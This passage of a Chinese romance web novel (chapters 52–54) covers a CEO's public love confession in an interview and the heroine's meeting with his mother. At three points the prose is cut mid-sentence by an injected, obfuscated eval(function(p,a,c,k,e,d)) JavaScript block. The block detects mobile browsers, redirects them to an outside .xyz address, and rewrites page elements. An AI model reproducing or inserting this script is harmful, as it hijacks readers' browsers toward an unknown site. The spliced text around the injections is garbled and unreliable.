“家里的猫,喜欢在阳台上闹腾,怕她被花盆砸到。”贺章淡淡地说。 阳台上的猫:“……”默默转身,蹑手蹑脚地回卧室去了。 卧室和书房的阳台是连通的,皮一夏刚刚想到这个,就想过来偷听一下,谁知道才听了两句话,就被贺章发现了,他也太神通广大了吧…… 偷听计划失败,皮一夏决定先去洗澡。 由于脚不方便,这个澡洗得比平常久了许多,从浴室出来时,已经快十点了。 贺章还没回来。 要采访这么久吗?都快一个小时了。 她坐在床边,打开微博看绯闻发展动态,冷不丁看见一个新的热搜:#华森集团答投资者问#,目前话题排在TOP3。 皮一夏急忙点进去。财经领域的大V@白小生发了一张截图,内容是华森集团董秘回答投资者提问。 投资者提问: 尊敬的董秘您好!就华森集团CEO今天的绯闻,贺章先生是否与女下属存在不正当男女关系,请如实作答,谢谢。 董秘回答: 尊敬的投资者,您好!贺章先生从未做过有损个人声誉、违反集团规定和企业价值观的行为,未来亦不会与任何人产生不正当社交关系。贺章先生目前确实正在恋爱中,对方是一位人品端正、工作认真的女士,贺章先生与其早年相识,后天各一方,并于近日重逢,确认了恋爱关系。当前,华森集团正处在快速发展中,贺章先生将全力以赴,进一步提升集团的市场竞争力和社会影响力。感谢您的关注。 皮一夏将这段董秘回答读了两遍,盯着“早年相识,后天各一方”几个字,慢慢皱起了眉头。 什么叫早年相识? 正在这时,听见书房的门有响动,不多时,男女交谈的声音传来,很快就往楼下去了。 皮一夏坐立不安地等了会儿,听见贺章上楼的脚步声,等不及他进屋,径直跑出去,将手机屏幕举到他面前:“董秘怎么骗人呢……不怕被网友拆穿吗?” 贺章扫了眼手机屏,目光落在她脸上,嘴角缓缓翘了起来。 52. 际遇 “董秘没有骗人。”贺章说,“我确实比你以为的,要更早认识你。” 皮一夏愣住了。 贺章将她带回房间,坐在沙发里,先抬起左脚,细细看了看,红肿消退不少,他轻轻摁了一下:“疼吗?” 皮一夏胡乱摇头:“你快说,到底怎么回事?你在巴塞罗那之前,就见过我吗?” 贺章抿唇笑起:“不错。” 三年前的夏天,他在国内住过三个月。 某天在咖啡厅吃简餐,无意听见隔壁桌男女谈话,似乎是女孩提了分手,男孩不想分,见面是为了挽回感情。 男孩称自己只是跟朋友赌了一次,输了几百块,如果她不喜欢,以后再也不去了,这点小事,不至于要分手。 女孩冷漠拒绝:“我不喜欢赌博的人,一次也不行,你说再多都没用,我已经不喜欢你了。” 两人又纠缠了几句,最后男孩愤愤不甘地走了。 过了一会儿,他因要看的演出时间快到了,正要起身离开时,忽然有一人从旁边路过,背包上的挂件撞倒了咖啡杯。那天她穿的是红色长裙,背绿色单肩包,眼皮微微泛红,能看出哭过的痕迹。 为表歉意,她从包里掏出一张门票递过来,票头一行黑色粗体字:音乐剧《献给阿尔吉侬的花束》中文版。 “请您看场剧吧,隔壁的保利剧院,马上就开始了。” 他说不用,她却坚持把票放桌上:“送您了,想看直接过去就行。”说完就离开了。 那就是他们的初见。 皮一夏有点懵:“我怎么不记得……” 只隐约记得,确实有一任男友被她发现赌博,两人分了手,提前订好的音乐剧也没看成。原来中间,还有这么一段插曲。说不准,她就那会儿就是看贺章长得好看,才送门票的。 “你既然早就见过我,为什么在巴塞罗那时,要装作不认识?”皮一夏开始找后账。 贺章微微挑眉:“我从来没装过,是你自己不记得。” “……好吧。” 怪不得,当时她主动打招呼,他抬起头,愣了好一阵儿。虽然确实是她没认出来,但是…… “你故意晾着我,看我中英语切换,尴尬出糗!” 皮一夏捶了他一拳,被他攥住了手:“但我还是帮你带路了。” “那倒是。”不仅带她去了酒吧,还带她回了酒店,想到这里,她又开始不满了,“如果当时是其他女孩,你也会送人家回酒店吗?” 贺章嘴角噙笑,漆黑的眸子一瞬不瞬盯着她,直到她自己开始不好意思,也没等到他的答案。 “我去洗澡。”他拿上换洗衣服,去了浴室。 皮一夏气得捶床:“你还没回答我!” 如果那天她没有临时起意,去兰布拉大街闲逛,或者没有发现坐在咖啡馆里的他,又或者,她没有勇气上去搭讪……会不会有另一个女孩,坐在他那桌? 皮一夏翻来覆去地想另一种可能性,一会儿赞叹际遇的奇妙,一会儿又吃想象中的另一个女孩的醋。 贺章终于走出浴室,瞧她还在怏怏不乐,好笑地走过去,靠在床头拥住她。 “还记不记得我说过,有一个‘偶尔想起’的人?” 皮一夏被他问得一愣。 当然记得。 她当时编了个初恋男友的故事骗同情,问他有没有难忘的人,他说,有那么一个人,算不上难忘,只是偶尔想起。 后来在酒店里,她还曾问过,这一晚够不够让他暂时忘掉那个人,他当时回了句“没那个必要”,她以为他不想忘记那个人,或是没必要用她来忘记,难道说……皮一夏想到一种可能性,眼睛紧紧盯着他。 贺章笑着点头。 三年前那场音乐剧,他去看了。那天,他本来要去看另外一场剧,却鬼使神差地临时换了个厅,坐进剧场,邀请他的人却不在,隔壁那个空着的座位,莫名地令人无法忽视,以至于后来偶尔会想起这件事。 因为是她,所以在巴塞罗那相信了迷路的说辞,起身带路。也相信了那个关于初恋男友的故事。即便在察觉她的意图之后,仍然忍不住想陪着再走一程。 因为是她,所以在拂袖离开后,又莫名其妙、中邪一样地掉头回来。不忍见她落寞的眼神,也解不出心里的焦躁是为什么,只想尽快回来找一个答案,怕走得太慢,再一次擦肩而过。 天知道,当他看见她走出酒店,以为是退了房要离开,是如何慌乱又恼怒地一路尾随进了便利店。 “所以,不会有别人。”贺章掐了掐她的脸,低声说了一句,“懂了吗?” 皮一夏感觉不可思议,过了许久才说:“Ethan,我有时候真的不理解……我性格不算好,家境也普通,长相虽然不错,但你一定见过很多漂亮的女人,我们各方面条件都不匹配,为什么你会看上我?” “把自己贬这么低?这可不是我认识的皮一夏。” 何止他不认识,连她自己也不认识了。 贺章说:“也许我们缘分天定,在更早之前。” 夜深了,两人相拥而卧,房间里灯光昏黄,陷入真空一般的静谧。 她忽然感觉,大腿根部外侧,他的手在轻轻摩挲。 麻痒难耐,她忍不住按停他的动作:“不是说好了,今晚好好睡觉吗?明天肯定还有很多事,等着你去处理……” 贺章低笑一声:“你在想什么?” 揶揄的语气搞得她有点尴尬,羞恼地在被子里打了他一下。 贺章攥住她手,问:“这个疤,是出车祸留下的吗?” 一个长约五公分的疤,轻微泛白凸起,隐约能看出缝合线的痕迹。 皮一夏愣了:“你怎么知道?” 贺章意味深长:“我比你以为的,要更了解你。” 她不懂这句话,正要翻过身问,忽然看见他的手机亮了,忙从枕边拿起来,塞进他手里:“你快看。”别有什么大事。 贺章点开微信,她躺在他臂弯里,屏幕就在她脸前。 是林献发来的消息:「Ethan,明早给您看专访初稿。」 贺章回了一个字:「好。」 皮一夏问:“你们刚刚,都聊了什么呀?” “明天就知道了,睡吧。”贺章拍了拍她,按熄屏幕。 “……哦。”过了会儿她还没睡着,又问,“你的微信头像,是耶鲁大学的建筑吗?” “不是。” “那是什么?” 她问完,身后的人一直没出声,忍不住翻过身来,盯着他眼睛又问:“到底是什么呀?” “是巴塞罗那圣家堂。”他说。 皮一夏恍然:“怪不得看着有点熟悉,虽然只有一个尖尖的顶,但总感觉像在哪儿见过。” 是凌晨七点的巴塞罗那圣家堂。 他从酒店里匆匆出来,沿路寻找,去了酒吧,又去了兰布拉大街,从头逛到尾,最后回到教堂。 教堂还没开放,他站在广场上,满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826478|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的愤恨和恼怒,过了足足半个小时,才恢复平静。 照片是那会儿拍的。 “说对不起。”贺章忽然凉声道。 皮一夏虽然不解其意,但很乖巧地说:“对不起。” “小骗子!”他恨恨地咬了下她的嘴,“再敢丢下我跑路,等我抓到了,就把你带到教堂里忏悔。” 皮一夏这才明白,他是在气什么,笑眯眯说:“就算被人拿枪指着,我也不跑了……不过Ethan,你信基督教吗?” 贺章将她往怀里揽了揽,随口说:“算信吧。以前在学校,有个关系挺好的同学,偶尔陪他去教堂做礼拜,听牧师讲经时,内心很平静。” “怪不得,第一次见你,你坐在街边看《圣经》。” 贺章纠正她:“是第二次。” “好的,是第二次见你……那时感觉有点奇怪,但我一点也不怕,因为我知道,会看《圣经》的男人,再坏也坏不到哪去。”她仰唇笑着说。 “把你聪明的。”贺章轻弹了弹她额头,“快睡。” “好的,老板。” 周五早上,皮一夏打车去公司上班。在这个敏感的时刻,她不想再被人拍到了,已经很多料,足够人讨论了。 昨晚的董秘回复上榜后,到早上进公司时,事情的热度还没降下来。 不过令人欣慰的是,舆论声音终于不再是一边倒的负面了,有不少网友从那句“早年相识,后天各一方,并于近日重逢,确认了恋爱关系”中脑补出一段有情人破镜重圆的故事,直呼磕到了。 皮一夏知道,这当中一定有公关的成分,这是必不可少的,真相往往藏在小巷里,公众有时需要适度引导。 虽然社交舆论有向好的苗头,但传统媒体对于华森回购股份的报道分析,仍然层出不穷。 皮一夏强装镇定,还在微信上安慰了苏晨雪,实际却坐立不安了一上午。 中午十二点,再次收到了贺章定的餐,她发了微信表示感谢,但没收到回复,应该是在忙。 正吃着,苏晨雪打来视频,接通就问:“皮皮,你还好吗?” 皮一夏夹起一块牛腩,冲着镜头晃了晃:“我正在吃饭呀,有什么不好的……” “你别装了。”苏苏根本不信,“我还不知道你吗?这次的事闹得这么大,肯定吓死了吧?可惜我这两天在上海,不然就找你吃饭了。” 皮一夏立时垮了脸:“好吧我不装了,确实有点害怕,我现在都不敢轻易出去上厕所,感觉自己变成了什么祸国妖姬,跟人一对视,走路都开始同手同脚了……当红人,还是黑红的人,真不是闹着玩的。” 两人说笑一阵,皮一夏忽然想到个事。 “苏苏,给男朋友买生日礼物,应该买什么啊?” 前两天无意间看见贺章的身份证,才发现他还有不到一个月就过生日了。 苏苏一听这话就笑:“你一个恋爱经验这么丰富的人,问我合适吗?” “……也是。” “不过我可以帮你问问我哥,男生喜欢什么礼物。” “怎么,现在又肯跟你哥说话了?” 正说着,办公室门被敲响,她随口说了个“进”,下一秒张宝静就冲进来了。 皮一夏现在一见到她就应激,下意识站了起来:“发生什么事了?”一边说一边跟苏苏摆手,“一会儿再聊啊!”就挂了视频。 张宝静举着手机,直接怼到她脸前,激动地说:“情书!贺总给你的情书!” 53. 专访 皮一夏愣愣地接过手机,盯着屏幕上的微信公众号推文,是《见闻》的专访报道。 封面图片是贺章的半身照,穿着白T恤和米色开衫,昨晚那一套。 专访标题:《一封情书》。 张宝静兴致勃勃,拖过椅子坐到旁边:“一起一起!刚刚看见推送我就冲上来了,都没来得及细看……” 皮一夏笑了笑,点开文章。 顶部是一个采访视频,她毫不犹豫,直接点了播放。相比记者加工过的文字,她更想看贺章真实的表情。 一个二十五分钟的视频,记者先介绍自己叫卓晓燕,接着讲述了本次采访的由来,就正式开始了。 前半段主要围绕贺章的学习和工作,包括专业选择,在华森工作的日常和感受,关于集团发展战略的思考。 在这一部分的最后,卓晓燕问他:“会遇到特别难,觉得很焦躁、很烦恼的时刻吗?一般这种时候,你会怎么排遣?” 贺章低头笑了一下:“之前有个人,问过我类似的问题。当时我的答案是,没有。在我看来,无论工作还是生活,本就是不断遇到问题、解决问题的过程。只要是问题,就会有答案,而我要做的,就是找出最合理的那个答案。” 是在巴塞罗那的傍晚,她找话题和他聊天时,问过这个问题。 当时她感到诧异,世上怎会存在没有烦恼的人?他回答说:能解决的事都不算烦恼。解决不了的,还没有遇到。 很自信,甚至可以说自负。 就像他此刻的神态和语气一样。 一如既往淡漠的表情,深邃沉静的眸子,她感觉,这个男人就该是自信的、从容的。 “牛哇牛哇,不愧是咱们贺总!” 张宝静的啧啧赞叹,打断了她的思绪,回过神,采访已经进入了感情生活篇章。 卓晓燕问:“你理想当中的生活是什么样的?” 很巧,又是一个聊过的话题。贺章转过头,眼睛盯着摄像机,嘴角勾起浅笑。好像被他当面盯了一眼,皮一夏笑着朝屏幕里的人皱了皱鼻子。 贺章的回答还是和烟花盛放那晚一样:“理想的生活是,减少工作量,享受平凡的日子,和爱人一起打理花园、一起做饭、周末出门郊游,也许会生个孩子,这一点看她,如果有的话,就一起陪孩子看书、写作业,节假日出门旅行,再看着他成家立业。” 卓晓燕被勾起了好奇:“听说贺总正在恋爱中,我可以理解为,你理想生活中的爱人,就是目前这位女朋友吗?” 贺章点头:“不错。” “请描述一下她,好吗?” 贺章缓缓靠进沙发靠背,眼瞳比平时要清亮,沉吟着说:“她是善良的,有时甚至显得有些憨气,但面对不怀好意的人,她又是锋利的。她……很聪明,知道怎么说话,会让别人舒服,习惯做事周全,这一点在工作中常常会导致内耗,但她总是很快地开解好自己,因为她知道,好好做事,是最重要的……” 他顿住话头,陷入了思考,过了会儿,有点泄气地摇头:“我找不到最合适的词概括她。可能用水来形容最贴切,不管放在什么容器里,她都能很快调整自己,去适应环境。” 卓晓燕更加好奇:“听贺总这话,你很欣赏她,那么当年为什么会分开呢?” “当年的我们,并不算熟,或者说,是我单方面认识她,后来遇见,甚至没有和她说上话,就阴差阳错地分开了,之后我回美国工作,她也仍然在华森任职,我们没有再联系。” “那我是不是可以这么理解,起初是贺总单方面暗恋她?” 卓晓燕有点打趣的语气,令他笑起来,不经意地瞥了眼镜头:“她应该很想听到一个肯定的回答,但我不想骗她……当年的我,并不具备爱人的能力,只是机缘巧合地记住了她,并在后来的几年里,偶尔想到她。” 皮一夏怔住了。 什么叫“是我单方面认识她,后来遇见,我甚至没有和她说上话”? 难道说,在保利剧院旁的咖啡厅里,仍然不是他们第一次见面吗? 在更早之前,他就认识她吗? 皮一夏忍不住想钻进屏幕里,把他拽出来,问问他到底还有多少事瞒着她,这个心思深沉的男人! 张宝静再一次赞叹:“皮皮姐,我们私下里都说,贺总这样的人,一看就是性冷淡,说不定在那啥时,都要跟你聊工作,谁知道,他还有这么像人的一面啊……” 他可不是性冷淡。 皮一夏默默腹诽:“接着看你的吧。” 就剩两三分钟了,正在进行的问题是,重逢后他们怎么相处。 贺章说:“因为工作原因,她起初对我很敬畏,私下相处也很拘束,我用了很多时间,让她慢慢相信,我没有那么可怕,只是一个普通的男人。” “普通?”卓晓燕挑了挑眉,显然并不认同,“贺总的身价,可不能用这两个字。” “身价……”贺章低头自语,“这一点,在我追求她的过程中,并不是加分项。” 卓晓燕直视贺章,继续追问:“贺总难道不怀疑,她只是表面上作出抗拒的样子,实际却很享受?毕竟,没有人不喜欢黄金单身汉。” 这问题有点尖锐,甚至可以说是冒犯了。 张宝静皱着眉头:“这个记者咋回事,怎么胡乱揣测呢?!当谁都和她一样啊……” “大宝。”皮一夏扯了扯嘴角,“记者没有立场,她只是在陈述公众的猜测。” 就像昨天的绯闻,集团高管和女下属,大家会第一时间脑补出一个俗套的故事,很正常。 她已经不在意公众怎么说,而更想听贺章怎么答。 他淡了脸色,语气笃定道:“她不是这样的人。如果是,那只能说我很幸运,有她看得上眼的东西……事实上,她靠自己的能力升职加薪,在北京买了房子,虽然还有贷款,但以她的能力和努力,我想这不是难题,即便没有我,她也过得充实富足,且很有活力。” 张宝静直接起立鼓掌,对着屏幕鞠了一躬:“尊敬的贺总,我决定奉您为偶像!” 皮一夏失笑:“你真是个活宝!” 进度条倒计时一分钟。 专访进入快问快答环节,一共十个问题。 皮一夏和张宝静双双捧着脸,认真盯着屏幕,生怕跳过任何一个问题。 卓晓燕问:“印象最深刻的是哪一天?” 贺章毫不犹豫:“重逢那天。” “可以展开说说吗?” “这是属于我们的秘密,请允许我保留。” 卓晓燕大呼失算,并表示,上面这个问题不算在十个以内,因为她没有听到想要的回答。 贺章抿唇笑笑:“好。” “你在哪一刻确定了自己的心意?”卓晓燕又问。 “感情变化是个连续的过程,重逢后的每一天,我对她的喜欢,都在加深。” “她呢?” 贺章似乎被难住了,想了一会儿说:“这是个好问题,我会去问问她。” “考虑过公开吗?” 贺章点头:“如果没有这次的事,可能还需要很久,她才会给我名分。” “听上去,贺先生是更卑微的一方。”卓晓燕笑着揶揄,“接下来这个问题有点尖锐,请问,这次的传闻,对你们的影响是什么?” “最大的影响是,她一直很内疚,因为我们的恋情,影响到集团的声誉。” “那有考虑过,专访发出后,舆论会是什么样吗?” 贺章语气淡然:“如果是祝福,我们欣然接受,并表示感谢。如果是不解,那就等待时间来验证。无论如何,我们都做好了准备。” 进度条几乎到了末端,张宝静屏住呼吸:“皮皮姐,现在第几个问题了,还剩几个?” “你别说话。”她根本没空数,紧张死了。 卓晓燕揭开了下一个问题:“如果让你对她说一句话,此时此刻,最想说什么?” 贺章沉默两秒,转头看向镜头,嘴角含笑道:“是不是很想知道,我和记者聊了什么?” 真是见鬼了!贺章总能猜中她的心思。 皮一夏默默腹诽时,记者又问:“最想听她说一句什么?” 贺章摇头:“她不需要特别说什么。只要在我身边,说什么都好。我会认真听,并耐心回应。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837225|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 还以为,他会想听她说那三个字。不过这个回答,她更喜欢。 “倒数第二个问题。”卓晓燕说,“考虑过结婚的事吗?” “这一点看她。”贺章转向镜头,“我会在合适的时候,去问一问她的意见。” 皮一夏被他盯得不自在,却被一旁的张宝静大力晃了晃肩膀:“求婚了求婚了!贺总求婚了!” 大宝的听力真是满分。 “最后一个问题,有什么话想对屏幕前的观众朋友们说吗?” 贺章沉思片刻,缓缓道:“请大家理性讨论,不要吓跑她。” 结束了。 定格画面是贺章正面朝向镜头,一脸认真的神色。 这一瞬间,皮一夏仿佛又回到了几天前,贺章肯定地告诉她:我们之间,没有别人。 是一段乐曲到了高潮时刻戛然而止。她意犹未尽,心潮久久难平。 这是她听过,最浪漫的告白。 实在太高调了。怪不得这篇报道,要以情书做标题。今天以后,他会不会又被人贴上恋爱脑的标签? “皮皮姐。” 皮一夏翻涌的思绪被张宝静打断,缓缓转头,冷不防看见大宝满眼泪花。 “我以后就是你跟贺总CP粉了,你们一定要狠狠相爱,好好在一起,气死那些说闲话的人!” 皮一夏抿唇笑笑,抽了张纸巾给她:“知道了,谢谢你的祝福。” “我要去按头小美,和我一起磕!”张宝静说完,拿上手机跑了。 菜没吃几口,现在已经凉了,但她饱了。 想跟他说说话,但上一条微信他还没回复,一定是忙得顾不上,她就先不添乱了。 皮一夏拿起水杯,去茶水间。 宣传部的同事见她出来,突然集体比心,皮一夏笑着接受了祝福。 一路上又遇见三四个其他部门的同事打招呼,玩笑着打探贺总的喜好,被她嘻嘻哈哈应付过去了。 虽然还是有点尴尬,但比之前好了很多。是因为那篇专访,贺章把她摆到了很高的位置,仿佛他才是卑微的那一方。 一路想着心思走到茶水间入口,正要拐进去,听见里面的人提到“贺总”,她不由停下了脚步。 “贺总原来是这么火热的人,真看不出来,魂儿都被勾走了……” 一个人说完,另一个人说:“霸总和娇妻照进现实,不服不行啊!” 这样的论调,不用想,网络上一定还有很多很多。 在今天之前,她虽然很不喜欢“娇妻”这个污名化某类女性的说法,但被人贴上这个标签之后,竟然也不由自主地认同了所谓的“娇妻叙事”,甚至开始自我反思,是否占了贺章太多便宜,并隐隐觉得,这样确实很不好,很不独立自主,不符合当下的大女主风气。 但当贺章给了她足够的底气,此刻的她,可以十分坦然地接受这个称号。反观那些以女性主义做幌子,喊打“娇妻”的行为,何尝不是一种厌女? 皮一夏目不斜视地走进茶水间,交谈中的两人满脸错愕、尴尬,对视一眼,急忙端着杯子离开了。 下午两点,贺章凭一己之力屠了热搜榜。 #一封情书#爆 #华森集团CEO高调示爱#爆 #华森集团CEO专访#热 #全体起立开始磕糖#热 #华森股价飙升#新 #贺章她不需要特别说什么#热 #华森和银丰重启谈判#新 #华森集团CEO理想中的生活#热 挂在高位的八条话题词,在这个美好的周五下午,给所有打工人带去一场节日般的狂欢。 皮一夏挨个点开刷了一会儿,确认整体舆论向好,也就不再关注。她一边工作,一边应付微信里不停弹出的问候,还要分神关注华森和银丰的谈判结果,下班时,脑子都不会转了。 有点纠结,是自己先回家,还是在公司等贺章。 还没等她做出决定,忽然接到一个电话,来自贺章的妈妈,贺董事长的太太……挂断电话后,她的第一反应是完了。 豪门阔太要召见勾引儿子的小妖精了。 54. 底气 原本贺夫人说要派车来接,皮一夏拒绝了,打车过去更自在。 去贺家的路上,她有点忐忑。 因为召见得太匆忙,她一时间想不到买什么礼物,索性就空手来了,反正贺家什么都不缺,而且,这不能算是一次正式的拜访吧。 她猜想,贺夫人是通过这次的绯闻风波听说了她,想亲眼看看自己儿子迷上的是个什么货色。 可她和贺章认识这么久,从来没听他提过父母,除了对贺董事长稍有了解之外,对这位贺夫人,可以说一无所知。 这要怎么投其所好?万一稍有不慎,被甩个几百万支票,让她离开贺章,怎么办? 带着这样荒唐的想法,皮一夏到了贺家位于二环里的独栋别墅。 贺夫人个子挺高,估计有一米七,容长脸,肤色白皙,身材匀称,穿着浅杏色真丝休闲套装,端庄优雅,带一点冷淡的气质。 贺章有点像她,不管是眉眼,还是身上那股冷淡。 “皮小姐,是怎么认识小章的?” 这是两人落座后,她问的第三个问题,也是个直击要害的送命题。 这时候,说的多不如说的少。 皮一夏温婉笑笑:“先前去西班牙出差,偶然遇到,我那时迷路,Ethan帮了我。” 贺夫人微微点头,端起杯子喝茶,一面提醒她吃菜。 这是一间小型的会客厅,装修得颇有古风。灰色地毯铺在正中间,上面摆着一套红木桌椅,有点宋代美学的细瘦韵味,桌上的白色细口大肚瓷瓶里插着一支黄色的花,对面的墙上掏了扇圆窗,一丛松枝从窗后露出来。 在这么美的屋子里,吃饭是一种享受,但她有点拘谨,嘴里应着好,筷子却不乱夹,只在眼前的两个盘子里打转。 两人一边吃东西,一边闲聊。贺夫人很关心她的家庭背景,然而这实在是不好说,说多了,怕吓到这位生活在光明处的阔太太,说少了,又显得不尊重,她只好避重就轻地讲了一些事实。 贺夫人应该看出了她的窘迫,转而开始问她同贺章的相处细节,这就没什么好忌讳的了。 一顿饭快吃完,贺章打了视频过来。 她一惊,下意识瞟了眼对面的贺太太,犹豫两秒,还是接通了。 贺章在开车,问她在哪。 “我在你家。”她顿了顿,又补了句,“你妈妈这。” 贺章登时皱了眉:“等我。”说完就挂了视频。 她放下手机才想起来,忘了问他,今天谈判顺不顺利。 “夫人,我可以刷一刷网络消息吗?”皮一夏问。 贺夫人淡淡一笑:“叫我阿姨吧。” “好的,那您也可以叫我皮皮。” 得到她的允许,皮一夏忙打开微信,看有没有华森回购股权的进展报道。巧的是,正好有一个媒体速报推送弹窗。 @远望:最新消息,华森集团与银丰资本就股权一事达成最终协议。华森将以120亿美元回购银丰所持股份。 “哇!”皮一夏忍不住叫出来,笑盈盈说,“股权回购协议达成了!” 贺母淡淡牵唇:“是吗。” 她看上去兴致不高,皮一夏立刻意识到,她刚刚只顾着开心,忘了对面坐的是什么身份,此时不由得尴尬,忙收起手机,继续安安静静吃饭。 吃完饭,佣人过来把桌子收了,两人面对面坐着喝茶。 皮一夏有点拿不准贺母的态度,既不冷漠,也不热情,想象当中的狗血戏码没有上演,她一时不知该松口气,还是更紧张。 是不是在憋更大的招呢? “皮皮,你喜欢小章哪一点?” 贺母突然问了这么一句,皮一夏顿时心生警惕。 来了!通常来说,这句话就是个引子,为了引出后面的“你们不合适,离开我儿子”。 但在此之前,她还是要好好回答。 喜欢贺章哪一点,这个问题也是有点把她问懵了,大概贺章被记者要求描述她的时候,也是这种感受吧,一时之间,找不到最合适的词来概括。憋了几秒,想出一句:“他很绅士,会照顾人。” “会照顾人?”贺母似乎没想到这个答案,“这倒是第一次听说。” 贺母陷入了沉思,表情有点严肃,皮一夏开始紧张起来。 是在想怎么开口提吗? 贺母不说话,她也不会主动说,眼观鼻鼻观心地喝茶,等最后的大锤落下。 贺章就是在这时候来的。 “跟我回家。”他一来就大步走到她身边,攥着她手腕站起身,朝对面椅子里的贺母说,“不要干涉我的恋爱。” 皮一夏忙握住他手臂,小声说:“没有,你误会了。就是正常聊聊天。” 贺母不动声色,对儿子并没有表现出母性的关爱,仿佛在看一个路人。 贺章拉着她往外走:“聊完了就回去。” 这一对母子太奇怪了,彼此间好像陌生人。 他们走到门口,身后忽然传来贺母的声音:“皮皮,如果我不同意你们在一起,你要怎么说服我?” 她脚步一顿,转过头,与贺母对视,又瞟了眼贺章,他的脸色已经很难看了。 “阿姨。”她忙开口,在贺章动怒之前,堵住了他的话,“您要给我一张支票,让我离开Ethan吗?” 贺母饶有兴致:“你觉得我给多少合适?” 皮一夏抿唇笑笑:“我觉得,您应该是在逗我。但如果您是认真发问,我就认真回答:我不会离开Ethan,给多少都不会。我也不会说服您,这是Ethan应该解决的问题,但我会和他一起努力,让您更加了解我、认可我。” “如果我了解了,还是不认可你,觉得你们不适合呢?”贺母继续追问。 这种把一个问题追问到极致的习惯,也是一脉相承的吗?皮一夏忍不住抬眼看贺章,他的神色还是很冷,她悄悄捏了捏他的掌心。 放松点。 “如果您实在不能认可,那就没办法了。反正只要不是我们的感情出了问题,我就不会离开他。” 贺章已经给了她太多底气,她可以坦然面对任何人的不祝福。 回去的路上,贺章一言不发,车里气氛有点沉闷,皮一夏默默看了他几眼,想问问他为什么不开心,又有点犹豫,毕竟这是他家里的事,万一他不想说呢? “一直看我做什么?”还是贺章先开口,抓过她的手攥在掌心。 皮一夏稍稍轻松了点:“你气压好低,我在想怎么给你打气。” “想到了吗?” 皮一夏面无表情盯着他:“Ethan,你不准不开心!” 贺章忍不住笑出来,侧头瞥她一眼:“鬼丫头!” “终于笑了。”皮一夏松了口气,“想和我说说吗?你和你妈妈,看上去很疏离。” 贺章淡了脸色:“她今晚给你难堪了吗?” “没有!”皮一夏忙摇头,“你别误会,就是正常吃饭聊天。” “嗯。” 皮一夏以为他不想多聊,也就不再问了,过了一会儿,贺章说:“没什么大事,我和爸妈关系没那么差,但也不算亲近。他们两人的关系,也是这样。” 父母爱情的故事很简单,成功商人爱上了曾为他手术的女医生,一个脾气温和,另一个性情冷淡,恋爱的炙热退去后,才发现彼此并没有那么合拍,但已经结了婚,有了孩子。两人都忙,也都骄傲,年深日久,夫妻间的隔阂越来越多,家里的气氛也越来越冷。 “他们现在,各自心有所爱。” 贺章淡淡地说了一句,皮一夏有点惊讶:“那为什么不离婚呢?” “牵扯太大,有集团,有共同所属的公司,还有我。” “啊……”豪门的生活,是她不能理解的,“那你放弃美国的工作,回到集团,就是为了撑起这一摊事,让他们少点顾虑吗?” 贺章摇了摇头:“总要回来的。” 华森集团是贺董事长半辈子的心血,也是数万家庭赖以生存的经济来源。作为家中独子,他从小接受最好的教育,享受最顶级的资源,也一直很清楚自己要承担什么。 皮一夏抱住他手臂,轻声说:“要在以前,有富二代跟我说,总要回去继承家产的,我会觉得这人真凡尔赛,生在福中不知福。可是我见过你谈到热爱的事业时,眼里的光,也知道你掌这么大一个集团,有多紧绷和疲惫,所以现在,我不这么想了。人不管有多少资产,都有不能如愿的事……” 气氛似乎更沉闷了,皮一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846359|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏仰头,下巴抵在他手臂上:“Ethan,我有点心疼你,别不开心了,我会陪着你的。” 贺章笑了一下,目光落在她脸上:“别同情我,我也没那么惨。至少还有钱,很多很多钱。” 这句话又勾起了她对资本家的仇恨。 “哼!我又差点被你PUA!” 车已经停进车库,贺章下来,走到副驾边要抱她出来,皮一夏急忙制止:“哎呀你不要抱,我又不是残废了,现在脚都不疼了。” 制止无效,贺章还是二话不说,抱起人就走。 “……” 上楼时,皮一夏幽幽道:“我跟你在一起时间久了,会不会四肢退化。” “不会。”贺章意味深长瞥她,“还可以做别的运动。” 一句话说得她脸热了,忙找别的话题,分散心思:“你在采访里说什么单方面认识我,到底什么意思啊?” 贺章微微挑眉:“你先告诉我,是从什么时候确定心意的?” 皮一夏装死,一进房间,拿上自己的换洗衣服,就往浴室跑了,还很机智地把门反锁了。 贺章嘴角含笑:“别洗太久。” 正说着,有电话进来,是林献,要汇报成涛的事。 “Ethan,成涛的公司远通汇达在员工关系和税务方面都有问题,目前已经掌握了不少资料,更详细的还需要时间补充,关于他个人,也找人去白鹤镇调查了……很丰富的履历,甚至可能涉嫌□□,现在正在和受害者沟通,如果对方愿意站出来指证,仅就目前掌握的证据,王律认为应该在10到15年之间,考虑到他有前科,量刑可能会更重。” “知道了。” “另外,关于案件的细节,王律还需要跟皮小姐见面聊聊,您看哪天方便?” 